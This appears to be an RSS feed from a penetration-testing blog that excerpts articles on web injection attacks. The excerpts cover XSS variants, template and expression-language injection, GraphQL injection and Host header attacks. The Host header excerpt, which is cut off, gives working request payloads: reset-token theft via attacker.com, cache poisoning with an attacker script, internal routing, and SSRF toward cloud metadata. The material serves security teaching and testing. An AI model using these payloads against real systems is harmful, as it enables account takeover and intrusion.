<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Input Injection on MrAzoth</title>
    <link>https://az0th.it/web/input/</link>
    <description>Recent content in Input Injection on MrAzoth</description>
    <generator>Hugo -- 0.154.5</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 24 Feb 2026 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://az0th.it/web/input/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Blind XSS: Detection, Delivery &amp; Exfiltration</title>
      <link>https://az0th.it/web/input/023-input-xss-blind/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/023-input-xss-blind/</guid>
      <description>&lt;h1 id=&#34;blind-xss-detection-delivery--exfiltration&#34;&gt;Blind XSS: Detection, Delivery &amp;amp; Exfiltration&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical (targets privileged users)
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-79 | &lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021
&lt;strong&gt;Reference&lt;/strong&gt;: &lt;a href=&#34;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&#34;&gt;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-blind-xss&#34;&gt;What Is Blind XSS?&lt;/h2&gt;
&lt;p&gt;Blind XSS is a subtype of stored XSS where the payload fires in a context &lt;strong&gt;you cannot directly observe&lt;/strong&gt;: an admin panel, an internal log viewer, a support dashboard, a PDF report renderer, or an email client. You inject it and wait — when the privileged user loads the page, you receive a callback.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Client-Side Template Injection (CSTI)</title>
      <link>https://az0th.it/web/input/008-input-csti/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/008-input-csti/</guid>
      <description>&lt;h1 id=&#34;client-side-template-injection-csti&#34;&gt;Client-Side Template Injection (CSTI)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-79, CWE-94
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-csti&#34;&gt;What Is CSTI?&lt;/h2&gt;
&lt;p&gt;Client-Side Template Injection occurs when user input is interpolated directly into a &lt;strong&gt;client-side template engine&lt;/strong&gt; (AngularJS, Vue.js, Handlebars, Mavo, etc.) without sanitization. Unlike XSS where you inject HTML/JS directly, CSTI injects template syntax that the framework itself evaluates — often &lt;strong&gt;bypassing XSS filters&lt;/strong&gt; that sanitize HTML but not template delimiters.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;AngularJS app renders: &amp;lt;div ng-app&amp;gt;Hello {{username}}&amp;lt;/div&amp;gt;
Username = &amp;#34;{{7*7}}&amp;#34;
Rendered:  Hello 49  ← template evaluated → CSTI confirmed

Escalate:  username = &amp;#34;{{constructor.constructor(&amp;#39;alert(1)&amp;#39;)()}}&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CSTI is particularly powerful against apps that use AngularJS with &lt;code&gt;ng-app&lt;/code&gt; on a wide DOM scope — because the &lt;strong&gt;AngularJS sandbox escape&lt;/strong&gt; gives full JavaScript execution.&lt;/p&gt;</description>
    </item>
    <item>
      <title>DOM XSS: Source-to-Sink Tracing &amp; Encoding Bypass</title>
      <link>https://az0th.it/web/input/022-input-xss-dom/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/022-input-xss-dom/</guid>
      <description>&lt;h1 id=&#34;dom-xss-source-to-sink-tracing--encoding-bypass&#34;&gt;DOM XSS: Source-to-Sink Tracing &amp;amp; Encoding Bypass&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-79 | &lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021
&lt;strong&gt;Reference&lt;/strong&gt;: &lt;a href=&#34;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&#34;&gt;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;why-dom-xss-evades-server-side-sanitization&#34;&gt;Why DOM XSS Evades Server-Side Sanitization&lt;/h2&gt;
&lt;p&gt;The payload &lt;strong&gt;never reaches the server&lt;/strong&gt;. It goes from a URL source (e.g., &lt;code&gt;location.hash&lt;/code&gt;) directly to a dangerous sink (e.g., &lt;code&gt;innerHTML&lt;/code&gt;) entirely in browser JavaScript. Server-side sanitization, WAFs inspecting HTTP traffic, and traditional scanners all miss it.&lt;/p&gt;
&lt;p&gt;The attack surface is the JavaScript code itself — you must read it.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Expression Language Injection (EL / SpEL)</title>
      <link>https://az0th.it/web/input/010-input-el-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/010-input-el-injection/</guid>
      <description>&lt;h1 id=&#34;expression-language-injection-el--spel&#34;&gt;Expression Language Injection (EL / SpEL)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-917
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-expression-language-injection&#34;&gt;What Is Expression Language Injection?&lt;/h2&gt;
&lt;p&gt;Expression Language (EL) is used in Java-based frameworks to bind data between UI and business logic. When user input is evaluated as an EL expression, the attacker gains access to the full Java runtime — leading to RCE. Two distinct attack surfaces:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Java EL (JSP/JSF/Jakarta EE)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Used in &lt;code&gt;${...}&lt;/code&gt; and &lt;code&gt;#{...}&lt;/code&gt; contexts in &lt;code&gt;.jsp&lt;/code&gt;, &lt;code&gt;.jsf&lt;/code&gt;, &lt;code&gt;.xhtml&lt;/code&gt; files&lt;/li&gt;
&lt;li&gt;Evaluated server-side by the EL runtime (JUEL, Eclipse Mojarra, etc.)&lt;/li&gt;
&lt;li&gt;Access to &lt;code&gt;Runtime&lt;/code&gt;, &lt;code&gt;ProcessBuilder&lt;/code&gt;, class loading chain&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Spring SpEL (Spring Expression Language)&lt;/strong&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>GraphQL Injection</title>
      <link>https://az0th.it/web/input/018-input-graphql-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/018-input-graphql-injection/</guid>
      <description>&lt;h1 id=&#34;graphql-injection&#34;&gt;GraphQL Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-89, CWE-78, CWE-918
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-graphql-injection&#34;&gt;What Is GraphQL Injection?&lt;/h2&gt;
&lt;p&gt;GraphQL injection is distinct from GraphQL-level abuse (rate limiting, introspection, DoS — covered in Chapter 83). This chapter focuses on &lt;strong&gt;second-order injection through GraphQL resolvers&lt;/strong&gt;: the SQL, command, SSTI, NoSQL, or SSRF payloads that flow through GraphQL arguments into backend systems that trust them.&lt;/p&gt;
&lt;p&gt;GraphQL arguments bypass many traditional WAF rules because:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The payload is inside JSON with a GraphQL-specific syntax&lt;/li&gt;
&lt;li&gt;Nested fields and aliases obscure the injection point&lt;/li&gt;
&lt;li&gt;GraphQL variables allow multi-step payload delivery&lt;/li&gt;
&lt;li&gt;Batch/alias attacks multiply the injection surface&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;GraphQL injection path:
  { users(search: &amp;#34;&amp;#39; OR &amp;#39;1&amp;#39;=&amp;#39;1&amp;#34;) { id email } }
                     ↓
  Resolver: db.query(`SELECT * FROM users WHERE name = &amp;#39;${args.search}&amp;#39;`)
                     ↓
  SQL injection via resolver argument
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;discovery-checklist&#34;&gt;Discovery Checklist&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Phase 1 — Enumerate Injection Points&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Host Header Attacks</title>
      <link>https://az0th.it/web/input/017-input-host-header/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/017-input-host-header/</guid>
      <description>&lt;h1 id=&#34;host-header-attacks&#34;&gt;Host Header Attacks&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High–Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-20, CWE-601
&lt;strong&gt;OWASP&lt;/strong&gt;: A05:2021 – Security Misconfiguration&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-are-host-header-attacks&#34;&gt;What Are Host Header Attacks?&lt;/h2&gt;
&lt;p&gt;The HTTP &lt;code&gt;Host&lt;/code&gt; header tells the server which virtual host to serve. Applications that trust &lt;code&gt;Host&lt;/code&gt; blindly for link generation, password reset emails, routing, or cache keying are vulnerable. Manipulation leads to: password reset poisoning, cache poisoning, SSRF, routing bypass, and XSS.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;GET /reset-password?token=abc123 HTTP/1.1
Host: attacker.com             ← injected

App sends email: &amp;#34;Click: https://attacker.com/reset?token=abc123&amp;#34;
Victim clicks → attacker receives token → account takeover
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;discovery-checklist&#34;&gt;Discovery Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Modify &lt;code&gt;Host:&lt;/code&gt; to an attacker-controlled domain — check if reflected in response/emails&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test &lt;code&gt;X-Forwarded-Host:&lt;/code&gt;, &lt;code&gt;X-Host:&lt;/code&gt;, &lt;code&gt;X-Forwarded-Server:&lt;/code&gt;, &lt;code&gt;X-HTTP-Host-Override:&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test with port appended: &lt;code&gt;Host: target.com:evil.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test password reset flow with poisoned Host header&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check if Host is used to generate absolute URLs in HTML/JSON responses&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test cache poisoning via unkeyed Host header&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test with duplicate &lt;code&gt;Host:&lt;/code&gt; headers&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test absolute-form request URI with different Host header&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test routing bypass to internal services via Host manipulation&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Test &lt;code&gt;X-Forwarded-For&lt;/code&gt; + &lt;code&gt;X-Real-IP&lt;/code&gt; for IP-based auth bypass&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check for SSRF via Host header (internal service routing)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;payload-library&#34;&gt;Payload Library&lt;/h2&gt;
&lt;h3 id=&#34;attack-1--password-reset-poisoning&#34;&gt;Attack 1 — Password Reset Poisoning&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Step 1: Request password reset for victim account&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Step 2: Intercept request, modify Host header to attacker-controlled domain&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /forgot-password HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: attacker.com            ← poisoned
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;email&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;victim@corp.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# App generates: https://attacker.com/reset?token=VICTIM_TOKEN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Victim receives email, clicks link → token delivered to attacker.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Attacker uses token to reset victim&amp;#39;s password&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Alternative override headers to test:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /forgot-password HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Forwarded-Host: attacker.com    ← many frameworks prefer this
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /forgot-password HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Host: attacker.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /forgot-password HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Forwarded-Server: attacker.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Via port injection — Host: target.com:@attacker.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Some parsers treat :@ as userinfo separator&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com:@attacker.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;attack-2--web-cache-poisoning-via-host-header&#34;&gt;Attack 2 — Web Cache Poisoning via Host Header&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# If cache key doesn&amp;#39;t include Host header (unkeyed header):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Forwarded-Host: attacker.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# App generates response with:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# &amp;lt;script src=&amp;#34;https://attacker.com/app.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Cache stores this under the key for target.com/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# All subsequent users get the poisoned response (XSS)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Or via Host header directly if cache doesn&amp;#39;t normalize:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: attacker.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Check if X-Cache: HIT on second request → cached with poisoned Host&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s -I https://target.com/ -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Forwarded-Host: attacker.com&amp;#34;&lt;/span&gt; | grep -i &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;x-cache\|location&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;attack-3--routing-to-internal-services&#34;&gt;Attack 3 — Routing to Internal Services&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Virtual host routing — different Host routes to different backend:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Normal: Host: target.com → public app&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Internal: Host: internal.admin → admin panel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: internal.admin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# If proxy routes by Host header and doesn&amp;#39;t enforce allowlist:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# → May access internal admin panel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Try common internal Host values:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: localhost
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: internal
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: admin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: admin.target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: internal.target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: staging.target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: dev.target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Absolute request URI bypass:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET http://internal.service/admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# The absolute URI takes precedence over Host in some proxies&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;attack-4--duplicate-host-header&#34;&gt;Attack 4 — Duplicate Host Header&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Some servers use first Host, some use last, some concatenate:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: attacker.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Test which value is reflected in response or used for routing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# WAF may check first, app may use second&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Host header with double value (inline):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com, attacker.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com attacker.com    &lt;span style=&#34;color:#75715e&#34;&gt;# space-separated&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;attack-5--ssrf-via-host-header&#34;&gt;Attack 5 — SSRF via Host Header&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# If server uses Host header to make server-side requests:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: 169.254.169.254            &lt;span style=&#34;color:#75715e&#34;&gt;# AWS metadata&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: internal-api:8080          &lt;span style=&#34;color:#75715e&#34;&gt;# internal service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: collaborator.oast.pro      &lt;span style=&#34;color:#75715e&#34;&gt;# OOB detection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# With port manipulation:&lt;/span&gt;
